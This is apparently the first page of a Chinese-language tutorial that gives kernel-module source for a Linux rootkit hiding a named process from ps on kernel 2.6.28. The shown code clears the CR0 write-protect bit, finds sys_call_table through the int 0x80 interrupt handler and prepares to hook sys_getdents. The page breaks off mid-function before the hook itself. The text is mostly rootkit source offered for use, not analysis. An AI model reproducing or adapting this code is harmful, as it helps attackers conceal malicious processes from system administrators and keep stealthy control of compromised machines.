網上很多類似的文章,其中很多示例程序都是在比較老的內核版本上測試過,很多在新的內核下根本無法運行,我收集了一些相關的資料,並給出一個在linux內核2.6.28(ubuntu9.04)上可以運行的程序代碼.相比其他一些文章,修改如下:
1.增加了兩個函數,清CR0的第20位,不然在替換sys_call_table的時候會報段錯誤.
unsigned int clear_and_return_cr0(void);
void setback_cr0(unsigned int val);
2.針對ubuntu9.04中,ps命令用的系統調用是sys_getdents,不是sys_getdents64(在suse系統裡面用的是sys_getdents64),所以程序中劫持的是sys_getdents的系統調用.
關於隱藏進程的原理,可以查看其他相關文章,主要是通過int 0x80 找sys_call_table的地址.
測試環境: ubuntu9.04 內核版本2.6.28
模塊代碼如下:
/*hideps.c*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <linux/types.h>
#include <linux/sched.h>
#include <linux/dirent.h>
#include <linux/string.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/list.h>
#include <asm/uaccess.h>
#include <linux/unistd.h>
//#include <sys/stat.h>
//#include <fcntl.h>
#define CALLOFF 100
//使用模塊參數來定義需要隱藏的進程名
int orig_cr0;
char psname[10]="looptest";
char *processname=psname;
//module_param(processname, charp, 0);
struct {
unsigned short limit;
unsigned int base;
} __attribute__ ((packed)) idtr;
struct {
unsigned short off1;
unsigned short sel;
unsigned char none,flags;
unsigned short off2;
} __attribute__ ((packed)) * idt;
struct linux_dirent{
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[1];
};
void** sys_call_table;
unsigned int clear_and_return_cr0(void)
{
unsigned int cr0 = 0;
unsigned int ret;
asm volatile ("movl %%cr0, %%eax"
: "=a"(cr0)
);
ret = cr0;
/*clear the 20th bit of CR0,*/
cr0 &= 0xfffeffff;
asm volatile ("movl %%eax, %%cr0"
:
: "a"(cr0)
);
return ret;
}
void setback_cr0(unsigned int val)
{
asm volatile ("movl %%eax, %%cr0"
:
: "a"(val)
);
}
asmlinkage long (*orig_getdents)(unsigned int fd,
struct linux_dirent __user *dirp, unsigned int count);
char * findoffset(char *start)
{
char *p;
for (p = start; p < start + CALLOFF; p++)
if (*(p + 0) == '\xff' && *(p + 1) == '\x14' && *(p + 2) == '\x85')
return p;
return NULL;
}
int myatoi(char *str)
{
int res = 0;
int mul = 1;
123下一頁